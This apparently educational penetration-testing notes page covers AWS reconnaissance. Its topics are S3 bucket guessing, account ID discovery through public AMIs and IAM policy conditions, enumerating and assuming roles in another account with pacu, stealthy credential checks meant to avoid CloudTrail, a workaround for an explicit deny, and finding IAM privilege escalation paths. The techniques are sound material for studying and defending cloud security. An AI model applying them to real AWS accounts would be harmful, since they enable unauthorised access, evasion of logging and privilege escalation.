> For the complete documentation index, see [llms.txt](https://x7331.gitbook.io/boxes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://x7331.gitbook.io/boxes/tl-dr/cloud/aws/recon.md).

# Recon

## **CSP Enumeration**

### Domain-based

**Domain reconnaissance** is a passive technique used early in attacks to gather public data without alerting the target. Starting with a domain name (e.g., `example.com`), the goal is to identify DNS[^1] infrastructure, hosting details, and subdomains. A recursive approach is essential—each discovery can lead to more.

Every domain has **authoritative name servers** that store its DNS records. Identifying them reveals who manages the domain’s DNS, often pointing to the cloud provider or registrar. For example, name server queries might show the [**CSP**](#user-content-fn-2)[^2], which can be verified via WHOIS[^3].

```bash
# Query the domain's authoritative name servers
$ host -t ns example.com
example.com name server ns-1456.awsdns-00.co.uk.
example.com name server ns-533.awsdns-00.net.

# Verify the organization managing the name server
$ whois ns-1456.awsdns-00.co.uk | grep "Registrant Organization"
Registrant Organization: Amazon Technologies, Inc.
```

To identify where a site is hosted, we can resolve the domain and then perform a reverse IP lookup. In this case, the result shows the service is hosted on an AWS EC2 instance.

```bash
# Resolve the domain
$ host www.example.com
www.example.com has address 54.73.167.99

# Reverse-lookup the IP address
$ host 54.73.167.99
80.127.74.52.in-addr.arpa domain name pointer ec2-54.73.167.99.compute-1.amazonaws.com

# Confirm ownership
$ whois 54.73.167.99 | grep "OrgName"
OrgName: Amazon Technologies Inc.
```

To discover more subdomains, automated tools like `dnsenum` can be used.

```bash
$ dnsenum example.com --threads 100
-----   example.com   -----

Host's addresses:
example.com.   A   54.73.167.99

Name Servers:
ns-1456.awsdns-00.co.uk.   A   205.251.198.0
...

Trying Zone Transfer for example.com on ns-533.awsdns-00.net ...
AXFR record query failed: corrupt packet
...

Brute forcing with /usr/share/dnsenum/dns.txt:
mail.example.com.   A   54.73.167.99
www.example.com.    A   54.73.167.99
```

### S3 Buckets <a href="#service-specific-domains" id="service-specific-domains"></a>

Public cloud infrastructure often uses **predictable hostnames** that reveal the service in use. For example, a reverse DNS lookup might return `ec2-18-102-34-210.compute-1.amazonaws.com`, indicating an AWS EC2 instance. **Browser developer tools** can aid in recon. In the Network tab, each row lists the file name and the domain it originated, such as:

```
https://s3.amazonaws.com/example-assets-public-mnzpytrl/sites/www/images/example.jpg
```

The above URL:

* suggests the use of [Amazon S3 bucket](#user-content-fn-4)[^4]
* the bucket name: `example-assets-public-mnzpytrl`&#x20;
* the object key: `sites/www/images/randomphoto.jpg`.&#x20;

Visiting the bucket URL without the object path may reveal misconfigured permissions, such as directory listing, indicating that the bucket is **publicly readable**.

> *S3 permissions allow public access at the object level even if the bucket is private.*

**Bucket naming conventions** often follow patterns such as `[org]-[type]-[env]-[random]`. Predictable naming lets attackers guess related buckets (e.g., `example-assets-private-mnzpytrl`). Errors like `AccessDenied` or `NoSuchBucket` help confirm existence and access levels. Because **bucket names are globally unique**, teams often add a random or hashed suffix to avoid collisions. But if this suffix is reused, attackers can guess other related buckets more easily. To automate this process, tools like [`cloud_enum`](https://github.com/initstring/cloud_enum) can search for cloud assets across AWS, Azure, and GCP:

```bash
cloud_enum -k example-assets-public-mnzpytrl -qs --disable-azure --disable-gcp
```

Or generate bucket naming variations with:

```bash
$ for key in "public" "private" "dev" "prod"; do
    echo "example-assets-$key-mnzpytrl"
done | tee /tmp/keyfile.txt

$ cloud_enum -kf /tmp/keyfile.txt -qs --disable-azure --disable-gcp
```

## API Enumeration

{% hint style="info" %}
Cloud [**Application Programming Interfaces (APIs)**](/boxes/tl-dr/web/api/what-is-an-api.md) are essential for automation and integration but also create a distinct attack surface. Even with authentication, misconfigured or overly permissive APIs can expose valuable information to attackers. CSPs typically offer two main access methods:

* **Web Portals:** Browser-based interfaces for managing cloud services. Users authenticate with credentials like usernames, passwords, and often MFA[^5]. This method is user-friendly and commonly used by individuals and administrators.
* **APIs:** Designed for programmatic access, APIs enable developers and automation tools to manage services without using a browser. Though protected by API keys, tokens, or cloud credentials, they are publicly exposed.

Despite requiring authentication, APIs can aid attackers during reconnaissance. An attacker might register a legitimate account and use valid credentials to explore API responses, discovering details about misconfigurations, exposed resources, or other tenants. This doesn’t involve bypassing controls but rather abusing intended, documented functionality — known as **API abuse**.
{% endhint %}

{% hint style="info" %}
[**IAM**](#user-content-fn-6)[^6] is the gatekeeper of AWS accounts. It controls users, roles, permissions, and access policies within an AWS account. Each user created under an IMA is called an **IAM user**. IAM defines what a user can do—such as accessing storage, launching servers, or using APIs.&#x20;

Using **named profiles** in the AWS CLI[^7] is a best practice for managing credentials across different IAM users. It allows easy switching between identities for testing access and behavior. Once configured, every command we run must include the profile to use, e.g. `--profile attacker`, so AWS CLI knows which credentials to use. After configuration, we can verify the setup by asking AWS to tell us **who we are** using the [**STS**](#user-content-fn-8)[^8]**.**

```bash
# Configure a named profile
$ aws configure --profile attacker
AWS Access Key ID [None]: AK<REDACTED>UM
AWS Secret Access Key [None]: uC5<REDACTED>w+l
Default region name [None]: us-east-1
Default output format [None]: json

# List profile's information
$ aws --profile attacker sts get-caller-identity
{
    "UserId": "AI<REDACTED>UO",
    "Account": "79<REDACTED>25",
    "region": "us-east-1",
    "Arn": "arn:aws:iam::79<REDACTED>25:user/attacker"
}
```

> *The **Amazon Resource Name (ARN)** uniquely identifies the profile in AWS.*
> {% endhint %}

### AccountID Discovery <a href="#publicly-shared-resources" id="publicly-shared-resources"></a>

Cloud platforms like AWS let users share resources internally or publicly. While this enables collaboration, misconfigurations can expose sensitive data. Some resources are meant to be shared, but others may become publicly accessible by mistake. Under the **AWS Shared Responsibility Model**, securing shared data is the customer’s job—a common source of risk. Unlike web apps with visible URLs, these resources typically lack public endpoints. They’re discoverable only by querying the **AWS API**, often using the **AWS CLI**.

#### **Via Public AMIs**

An **AMI** is a blueprint for launching EC2 instances. It includes an OS[^9] and may also contain apps, configs, or user data. AMIs can be shared publicly—intentionally (e.g., open-source) or unintentionally due to misconfigurations.

```bash
# Enumerate public AMIs owned by Amazon
aws --profile attacker ec2 describe-images --owners amazon --executable-users all
```

We can enumerate the target's `AccountID` via filtering the **AMI's metadata**.

{% code overflow="wrap" %}

```bash
# Filter by desciption
$ aws --profile attacker ec2 describe-images --executable-users all --filters "Name=description,Values=*exampleorg*"

# Filter by name
$ aws --profile attacker ec2 describe-images --executable-users all --filters "Name=name,Values=*exampleorg*"
{
    "Images": [
            ...
            "OwnerId": "792162019125",
            ...
            "Name": "ExampleOrg Base AMI",
```

{% endcode %}

Using the same principles, we can search for publicly available EBS[^10] and RDS[^11] snapshots.

{% code overflow="wrap" %}

```bash
# Enumerating EBS snapshots (EC2 service) filtering by description 
$ aws --profile attacker ec2 describe-snapshots --filters "Name=description,Values=*x7331lab*"
# Enumerating EBS snapshots by Account ID
$ aws ec2 describe-snapshots --profile attacker --owner-ids 792162019125

# RDS snapshots (RDS service)
$ aws --profile attacker rds describe-db-snapshots --query "DBSnapshots[?contains(DBSnapshotIdentifier, 'x7331lab')]"
```

{% endcode %}

#### **Via IAM Policies**

An attacker using their own AWS account can try to access misconfigured S3 buckets owned by another organization. If access is granted based on loose or overly broad policies, it may reveal sensitive data or even the account ID of the target. The attacker’s approach involves:

1. Creating a new IAM user to simulate a low-privilege attacker
2. Crafting a **permissive IAM policy** which includes a condition that matches certain account IDs
3. Using that policy to **test access against external S3 buckets**
4. Iterating on the policy to discover the correct account ID range

> *The `enum` user simulates a clean slate attacker with no permissions.*

{% code overflow="wrap" %}

```bash
# Create a new IAM user named 'enum'
aws --profile attacker iam create-user --user-name enum

# Generate access keys for this user
aws --profile attacker iam create-access-key --user-name enum

# Configure a new AWS CLI profile for the user
aws configure --profile enum

# Check identity (to confirm profile setup)
aws sts get-caller-identity --profile enum

# List accessible S3 buckets
$ aws --profile enum s3api list-buckets

# Check the permissions of a private S3 bucket
aws --profile enum s3api get-bucket-acl --bucket exampleorg-assets-private-dayaiiov

An error occurred (AccessDenied) when calling the GetBucketAcl operation: User: arn:aws:iam::792162019125:user/enum is not authorized to perform: s3:GetBucketAcl on resource: "arn:aws:s3:::exampleorg-assets-private-dayaiiov" because no identity-based policy allows the s3:GetBucketAcl action
```

{% endcode %}

The attacker writes a policy allowing access only if the resource's AWS account ID starts with a specific prefix, in this case `0`.

{% code title="policy-s3-read.json" %}

```json
{
     "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowResourceAccount",
            "Effect": "Allow",
            "Action": [
                "s3:ListBucket",
                "s3:GetObject"
            ],
            "Resource": "*",
            "Condition": {
                "StringLike": {"s3:ResourceAccount": ["0*"]}
            }
        }
    ]
}
```

{% endcode %}

```bash
# Attach this policy to the user 'enum'
aws --profile attacker iam put-user-policy \
    --user-name enum \
    --policy-name s3-read \
    --policy-document file://policy-s3-read.json

# Confirm the policy is attached
aws --profile attacker iam list-user-policies --user-name enum
```

The attacker now changes the wildcard condition to match different account ID prefixes until access is granted.

```bash
# List the attacker's account ID (for testing)
aws sts get-caller-identity --profile enum
...
    "Account": "792162019125",
...

# Try accessing the target bucket again
aws --profile enum s3 ls exampleorg-assets-private-dayaiiov

An error occurred (AccessDenied) when calling the ListObjectsV2 operation:
...
```

Update the policy to try a different prefix:

{% code title="policy-s3-read.json" %}

```json
...
                "StringLike": {"s3:ResourceAccount": ["7*"]}
...
```

{% endcode %}

```bash
# Re-attach the updated policy
aws --profile attacker iam put-user-policy \
    --user-name enum \
    --policy-name s3-read \
    --policy-document file://policy-s3-read.json

# Try again
aws --profile enum s3 ls exampleorg-assets-private-dayaiiov
                           PRE sites/
```

This time the command succeeds (e.g., returns a directory listing like `PRE sites/`), thus, the attacker has confirmed that the resource is owned by an account beginning with `7`. By incrementally modifying the account ID prefix, the attacker can continue the process:

```json
"StringLike": { "s3:ResourceAccount": ["10*"] }
"StringLike": { "s3:ResourceAccount": ["11*"] }
...
"StringLike": { "s3:ResourceAccount": ["19*"] }
```

Tools like [`s3-account-search`](https://github.com/nahamsec/s3-account-search) automate this by using roles instead of users, but the principle is the same: **use IAM policy conditions to infer the account ID that owns the target bucket.**

### Cross-Account Access <a href="#iam-users-in-other-accs" id="iam-users-in-other-accs"></a>

Previously, we extracted an AWS account ID. Now, we’ll explore how to enumerate internal IAM identities (users or roles) in a known account by analyzing policy-based API responses. In AWS, **cross-account access** allows resources to be shared with just some specific external accounts, rather than the public. IAM policies use a `Principal` field to specify the target identity (e.g., user or role). If that identity doesn’t exist, AWS returns an error—this can be used to verify if an identity is valid.

{% code overflow="wrap" %}

```bash
# Create a private S3 bucket in the attacker's account
$ aws --profile attacker s3 mb s3://exampleorg-dummy-bucket-$RANDOM-$RANDOM-$RANDOM
make_bucket: exampleorg-dummy-bucket-26456-5922-26678
```

{% endcode %}

Define a bucket policy targeting a specific user in the victim account.

{% code title="grant-s3-bucket-read.json" %}

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowUserToListBucket",
      "Effect": "Allow",
      "Resource": "arn:aws:s3:::exampleorg-dummy-bucket-26456-5922-26678",
      "Principal": {
        "AWS": ["arn:aws:iam::792162019125:user/enum"]
      },
      "Action": "s3:ListBucket"
    }
  ]
}
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# Apply the policy
$ aws --profile attacker s3api put-bucket-policy --bucket exampleorg-dummy-bucket-26456-5922-26678 --policy file://grant-s3-bucket-read.json

An error occurred (MalformedPolicy) when calling the PutBucketPolicy operation: Invalid principal in policy
```

{% endcode %}

If no errors occur, the policy is applied successfully, meaning the `enum` user exists in the target account. If we apply the policy for a non-existent user, we receive an error message.

In a similar manner, **IAM roles** can also be discovered by setting up trust policies and observing the responses. We can use `pacu` to achieve that.

```bash
$ pacu
What would you like to name this new session? exampleorg
Session exampleorg created.

# Import attacker credentials
Pacu (exampleorg:No Keys Set) > import_keys attacker

# List recon modules
Pacu > ls
[Category: RECON_UNAUTH]
  iam__enum_roles

# Run the role enumeration module
Pacu > run iam__enum_roles --word-list /tmp/role-names.txt --account-id 792162019125
...
[iam__enum_roles] Targeting account ID: 792162019125
[iam__enum_roles] Starting role enumeration...
[iam__enum_roles]   Found role: arn:aws:iam::792162019125:role/lab_admin
[iam__enum_roles] Found 1 role(s):
[iam__enum_roles]     arn:aws:iam::792162019125:role/lab_admin

[iam__enum_roles] {
  "Credentials": {
    "AccessKeyId": "AS...4W",
    "SecretAccessKey": "Hl...hx",
    "SessionToken": "Fw...MA==",
    "Expiration": "2025-05-04 12:33:23+00:00"
  },
  "AssumedRoleUser": {
    "AssumedRoleId": "AR...pw",
    "Arn": "arn:aws:sts::792162019125:assumed-role/lab_admin/mg1ikNEzYJeAIdhHJgpw"
  }
}
Cleaning up the PacuIamEnumRoles-9Wh71 role.
...
```

```bash
# Use assumed role credentials
$ export AWS_ACCESS_KEY_ID=AS...4W
$ export AWS_SECRET_ACCESS_KEY=Hl...hx
$ export AWS_SESSION_TOKEN=Fw...MA==

# Example action using the assumed role
$ aws ec2 describe-vpcs --region us-east-1
```

This approach allows attackers to enumerate and even assume roles within a target AWS account—often serving as a pivot for deeper access.

## Initial IAM Recon

### Identity Details

After compromising AWS credentials, attackers begin by exploring what the account can access—all while staying within valid permissions to avoid detection. Though **AWS logs actions via CloudTrail**, alerts only trigger if properly configured. As a result, legitimate-but-curious activity often goes unnoticed.

Assuming we’ve obtained a set of AWS access keys (`target`), our first goal is to determine whether they are still valid, what account they belong to, and ideally do so **without triggering logs** in the target's CloudTrail. The most common way to verify credentials is via the `get-caller-identity` subcommand. However, this action is **always allowed** (even if explicitly denied) and **always logged** in the target’s CloudTrail.

```bash
# Confirm the validity of target's credentials
$ aws --profile target sts get-caller-identity
{
  "UserId": "AIDA5DLOD4WNRXMAPABP6",
  "Account": "900563461531",
  "Arn": "arn:aws:iam::900563461531:user/support/clouddesk-plove"
}
```

For stealthier reconnaissance, we can use the `get-access-key-info` subcommand. This only reveals the **account ID** tied to the access key, and it logs **only to the caller's account**, not the account associated with the key. Therefore, we run it from a **separate AWS account** (e.g., an attacker-controlled one). Below is an example using an “attacker” profile configured with separate credentials:

```bash
# Assume we are using the 'attacker' profile from a different AWS account
$ aws configure --profile attacker
AWS Access Key ID [None]: AK<REDACTED>ATTACKER
AWS Secret Access Key [None]: hI<REDACTED>123
Default region name [None]: us-east-1
Default output format [None]: json

# Now check the compromised access key (belonging to the target account)
$ aws --profile attacker sts get-access-key-info --access-key-id AK<REDACTED>TARGET
{
    "Account": "900563461531"
}
```

Another stealthy approach for revealing identity details is via **failed API calls**; these aren't logged by default in Cloudtrail.

{% code overflow="wrap" %}

```bash
aws --profile target lambda invoke --function-name arn:aws:lambda:us-east-1:123456789012:function:nonexistent-function outfile

An error occurred (AccessDeniedException) when calling the Invoke operation: 
User: arn:aws:iam::900563461531:user/support/clouddesk-plove is not authorized to perform: lambda:InvokeFunction...
```

{% endcode %}

**CloudTrail logging behavior varies by region**. For example, the below command may show up in `us-east-2` logs—but remain invisible in the default region (`us-east-1`) if not explicitly configured. Attackers exploit this gap to probe quieter regions.

```bash
aws --profile target sts get-caller-identity --region us-east-2
```

### IAM Permissions

IAM policies determine what a user can do. Permissions may be:

* Inline (directly attached to the user)
* Managed (reusable, attached to multiple identities)
* Inherited via group membership

> ***AWS Managed Policies** are pre-defined and often too permissive, allowing broad access to many resources.*

```bash
# Inline policies
$ aws --profile target iam list-user-policies --user-name clouddesk-plove

# Managed policies
$ aws --profile target iam list-attached-user-policies --user-name clouddesk-plove

# Group memberships
$ aws --profile target iam list-groups-for-user --user-name clouddesk-plove
...
           "GroupName": "support",
...

# Inline group policies
$ aws --profile target iam list-group-policies --group-name support

# Managed group policies
$ aws --profile target iam list-attached-group-policies --group-name support
...
  "AttachedPolicies": [
    {
      "PolicyName": "SupportUser",
      "PolicyArn": "arn:aws:iam::aws:policy/job-function/SupportUser"
...
```

To see the policy conten, we must first find its exact version.

{% code overflow="wrap" %}

```bash
# List versions
$ aws --profile target iam list-policy-versions --policy-arn arn:aws:iam::aws:policy/job-function/SupportUser
...
           "VersionId": "v8",
...

# Get default version
$ aws --profile target iam get-policy-version \
  --policy-arn arn:aws:iam::aws:policy/job-function/SupportUser \
  --version-id v8
```

{% endcode %}

If the compromised account lack the privileges to query for IAM-related infomation, permissions can be inferred via brute-force API probing with tools such as `pacu` → `iam__bruteforce_permissions`, `awsenum`, and `enumerate-iam` .

> *The above tools can generate a lot of noise; a manual, service-aware approach is stealthier in sensitive environments.*

## IAM Resources Recon

With access to the compromised `clouddesk-plove` IAM user, we begin enumeration. The user belongs to the `support` group and inherits the AWS-managed `SupportUser` policy, designed for support roles. According to AWS, this policy grants broad read-only access—enough to reveal sensitive information about the environment’s security posture.

<table><thead><tr><th width="119">Resource Type</th><th width="147">Name</th><th>ARN</th></tr></thead><tbody><tr><td>IAM::User</td><td>clouddesk-plove</td><td>arn:aws:iam::123456789012:user/support/clouddesk-plove</td></tr><tr><td>IAM:Group</td><td>support</td><td>arn:aws:iam::123456789012:group/support/support</td></tr><tr><td>IAM::Policy</td><td>SupportUser</td><td>arn:aws:iam::aws:policy/job-function/SupportUser</td></tr></tbody></table>

We can start by retrieving and inspecting the policy to confirm IAM read permissions.

{% code overflow="wrap" %}

```bash
# Retrieve the policy
$ aws --profile target iam get-policy-version --policy-arn arn:aws:iam::aws:policy/job-function/SupportUser --version-id v8 | grep "iam"

                        "iam:GenerateCredentialReport",
                        "iam:GenerateServiceLastAccessedDetails",
                        "iam:Get*",
                        "iam:List*",
```

{% endcode %}

This allows nearly all `get` and `list` operations on IAM. We identify these using:

```bash
aws --profile target iam help | grep -E "list-|get-|generate-"
```

> *We can learn about any of the commands by running `aws iam <command> help`.*

We can then run `get-account-summary`:

```bash
aws iam get-account-summary | tee account-summary.json
```

The output includes useful information:

* 18 users, 20 roles, 8 groups
* No MFA enabled (`MFADevices: 0`, `MFADevicesInUse: 0`)
* No MFA enable for the `root` account (`AccountMFAEnabled: 0`)

This is a serious weakness—any compromised credentials are immediately usable without second-factor authentication. We continue by enumerating users, groups, and roles:

```bash
aws --profile target iam list-users | tee users.json
aws --profile target iam list-groups | tee groups.json
aws --profile target iam list-roles | tee roles.json
```

These commands reveal identity paths and naming conventions (e.g., `admin-alice`, `admin`) that may indicate elevated privileges and warrant deeper analysis.

To investigate permissions at a more granular level, we can list the IAM policies created within this account, limiting the scope to **locally-managed**, i.e., customer-managed and not AWS-managed policies, and **currently-attached** policies, i.e., policies attached to an IAM identity.

{% code overflow="wrap" %}

```bash
$ aws --profile target iam list-policies --scope Local --only-attached | tee policies.json
...
           "PolicyName": "manage-credentials",
...
```

{% endcode %}

One notable policy: `manage-credentials`—its name implies potential for key rotation or MFA manipulation, both possible paths to escalation. We can fetch all attached identity definitions using:

{% code overflow="wrap" %}

```bash
aws --profile target iam get-account-authorization-details --filter User Group LocalManagedPolicy Role | tee account-authorization-details.json
```

{% endcode %}

> *To run `get-account-authorization-details`, the account needs `GetAccountAuthorizationDetails`, which is rarely granted directly but often included via broader wildcards like `iam:Get*`.*

### Explicing Deny Bypass

During this phase, we enumerated the `deny_challenges_access` policy which is attached to our compromised user.

{% code overflow="wrap" %}

```bash
# List managed account policies
$ aws --profile target iam list-attached-user-policies --user-name clouddesk-plove
...
            "PolicyName": "deny_challenges_access",
...

# Retrive policy
aws --profile target iam list-policy-versions --policy-arn arn:aws:iam::12345678912:policy/deny_challenges_access

An error occurred (AccessDenied) when calling the ListPolicyVersions operation: 
... 
with an explicit deny in an identity-based policy
```

{% endcode %}

Explicit denies always override allows, signaling the admin intentionally blocked access to this policy.  However, **IAM restrictions must account for both what’s explicitly denied and what’s still implicitly allowed**. Thus, when we run a broader command that retrieves all locally managed policies in the account, hoping that the forbidden policy might be included in the output.

{% code overflow="wrap" %}

```bash
$ aws --profile target iam get-account-authorization-details --filter LocalManagedPolicy
...
  "Statement": [
    {
      "Sid": "DenyAllIAMActionsOnChallengedResources",
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "aws:ResourceTag/challenge": "true"
...
```

{% endcode %}

This applies a global `Deny` to all tagged resources (`challenge=true`). Despite the explicit block, we accessed it through broader permissions—a classic example of **indirect access**.

### Processing API Responses

The AWS CLI returns JSON by default, which can be filtered using **JMESPath**—a query language tailored for JSON. This helps extract and transform key data during enumeration, especially from verbose commands like `iam get-account-authorization-details`.

{% code overflow="wrap" %}

```bash
$ aws --profile target iam get-account-authorization-details --filter User
{
    "UserDetailList": [
        {
            "Path": "/admin/",
            "UserName": "admin-alice",
            "UserId": "AIDAQOMAIGYUSSOCFCREC",
            "Arn": "arn:aws:iam::123456789012:user/admin/admin-alice",
            "GroupList": [
                "admin"
            ],
            "AttachedManagedPolicies": [],
            "Tags": []
        },
...
```

{% endcode %}

The output includes a `UserDetailList` array of user objects with fields like `UserName`, `UserId`, `Arn`, and `GroupList`. To isolate usernames:

{% code overflow="wrap" %}

```bash
$ aws --profile target iam get-account-authorization-details --filter User --query "UserDetailList[].UserName"
[
    "admin-alice",
    "admin-cbarton",
    "admin-srogers",
    "admin-tstark",
    "clouddesk-bob"
]
```

{% endcode %}

JMESPath queries (`--query`) run client-side, while filters (`--filter`) run server-side. To retrieve multiple fields we can use the `[key1, key2, key3]`  or the labeled keys format `{Identifier1: key1, Identifier2: key2, IdentifierN: keyN}` format:

{% code overflow="wrap" %}

```bash
# Key format
$ aws --profile target iam get-account-authorization-details --filter User --query "UserDetailList[0].[UserName,Path,GroupList]"
[
    "admin-alice",
    "/admin/",
    [
        "admin"
    ]
]

# Labeled key format
$ aws --profile target iam get-account-authorization-details --filter User --query "UserDetailList[0].{Name: UserName,Path: Path,Groups: GroupList}"
{
    "Name": "admin-alice",
    "Path": "/admin/",
    "Groups": [
        "admin"
    ]
}
```

{% endcode %}

To filter users with names containing `admin`:

{% code overflow="wrap" %}

```bash
$ aws --profile target iam get-account-authorization-details --filter User --query "UserDetailList[?contains(UserName, 'admin')].{Name: UserName}"
...
    {
        "Name": "admin-alice"
    },
    {
        "Name": "admin-cbarton"
    },
...
```

{% endcode %}

For nested filtering—e.g., users and groups under `/admin/` paths:

{% code overflow="wrap" %}

```bash
$ aws --profile target iam get-account-authorization-details --filter User Group --query "{Users: UserDetailList[?Path=='/admin/'].UserName, Groups: GroupDetailList[?Path=='/admin/'].{Name: GroupName}}"
...
   "Users": [
       "admin-alice"
   ],
   "Groups": [
       {
           "Name": "admin"
       }
...
```

{% endcode %}

Or combine conditions:

{% code overflow="wrap" %}

```bash
$ aws --profile target iam get-account-authorization-details --filter User Group --query "UserDetailList[?contains(UserName, 'admin') && contains(Path,'admin')]"
```

{% endcode %}

### Automated Enumeration

[Pacu](https://github.com/RhinoSecurityLabs/pacu) is an AWS post-exploitation tool for AWS that automates the enumeration using compromised credentials.

```bash
# Install Pacu
sudo apt update && sudo apt install pacu

# Start a new session
pacu
What would you like to name this new session? enumlab
Pacu (enumlab:No Keys Set) >

# Import AWS credentials from CLI config
Pacu (enumlab:No Keys Set) > import_keys target
Imported keys as "imported-target"

# List available modules
Pacu (enumlab:imported-target) > ls

# View details about a specific module
Pacu (enumlab:imported-target) > help iam__enum_users_roles_policies_groups

# Run the module to enumerate IAM resources
Pacu (enumlab:imported-target) > run iam__enum_users_roles_policies_groups
...
  18 Users Enumerated
  20 Roles Enumerated
  8 Policies Enumerated
  8 Groups Enumerated
  IAM resources saved in Pacu database.
```

This data is stored in Pacu’s internal SQLite database.

```bash
# Check which services have stored data
Pacu (enumlab:imported-target) > services
 IAM
# View collected IAM data
Pacu (enumlab:imported-target) > data IAM
```

## Extracting Insights

Once AWS IAM enumeration is complete, the next step is analysis—turning raw data into actionable findings. This is key for identifying privilege escalation paths or misconfigurations. We must first determine what we're looking for: elevated privileges, policy gaps, or tagging misuse.

{% code overflow="wrap" %}

```bash
# Query for a specific IAM user
aws --profile target iam get-account-authorization-details --filter User Group --query "UserDetailList[?UserName=='admin-alice']"
```

{% endcode %}

Output shows `admin-alice` is in `admin` and `amethyst_admin` groups, tagged with `Project: amethyst`. While the user has no direct policies, group memberships imply privilege inheritance.&#x20;

> ***Attribute-Based Access Control (ABAC)** uses attributes (like tags) to control access, making tag analysis crucial.*

{% code overflow="wrap" %}

```bash
# Inspect the admin group
$ aws --profile target iam get-account-authorization-details --filter User Group --query "GroupDetailList[?GroupName=='admin']"
...
        "AttachedManagedPolicies": [
            {
                "PolicyName": "AdministratorAccess",
                "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
...

# Inspect the amethyst_admin group
$ aws --profile target iam get-account-authorization-details --filter User Group --query "GroupDetailList[?GroupName=='amethyst_admin']"
...
        "AttachedManagedPolicies": [
            {
                "PolicyName": "amethyst_admin",
                "PolicyArn": "arn:aws:iam::123456789012:policy/amethyst/amethyst_admin"
...
```

{% endcode %}

The `admin` group is attached to the AWS-managed `AdministratorAccess` policy, and the `amethyst_admin` group uses the `amethyst_admin` custom policy.

> *The `AdministratorAccess` policy is an AWS-managed policy that grants full access to all AWS services; its document is available in the* [*official AWS documentation*](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html)*.*

{% code overflow="wrap" %}

```bash
# View the custom policy document
$ aws --profile target iam get-account-authorization-details --filter LocalManagedPolicy --query "Policies[?PolicyName=='amethyst_admin']"
...
```

{% endcode %}

The policy grants broad IAM permissions (e.g., `iam:*`) but scopes them to resources tagged with `Project:amethyst` or located under specific paths. While this appears restrictive, it can be dangerously permissive—especially when those tags overlap with high-privilege resources. The wildcard use (`iam:*`) itself raises concerns about over-permissiveness. Two privilege escalation paths emerge:

1. **Direct Access Abuse**
   * Compromise `admin-alice` via phishing or exposed credentials
   * Exploit absence of MFA
2. **Group-Based Escalation**
   * Users in the `amethyst_admin` group can use `iam:CreateAccessKey` on `admin-alice`
   * Add themselves to the `admin` group using `iam:AddUserToGroup`

The critical issue is that `admin-alice` is both tagged with `Project:amethyst` and a member of `amethyst_admin`. This allows other group members to perform privileged IAM actions on her—including creating access keys—enabling escalation from lower-privileged users to full admin access. This unintended **overlap of tagging and group membership** results in a serious security misconfiguration.

Tools like [`awspx`](https://github.com/WithSecureLabs/awspx) and [`cloudmapper`](https://github.com/duo-labs/cloudmapper) can map IAM relationships and effective access visually. In this case, it illustrates a clear privilege escalation path from `admin-cbarton` to `admin-alice`—a user with full administrative access.

<figure><img src="/files/vxIgFfKcNvxZ9Vheaopk" alt=""><figcaption></figcaption></figure>

[^1]: Domain Name Server

[^2]: Cloud Service Provider

[^3]: A protocol for retrieving domain and IP registration and ownership information

[^4]: AWS S3 buckets are storage containers for files, also known as objects.

[^5]: Multi Factor Authentication

[^6]: Identity and Access Management

[^7]: Command Line Interface

[^8]: Security Token Service

[^9]: Operating System

[^10]: Elastic Block Store

[^11]: Relational Database Service
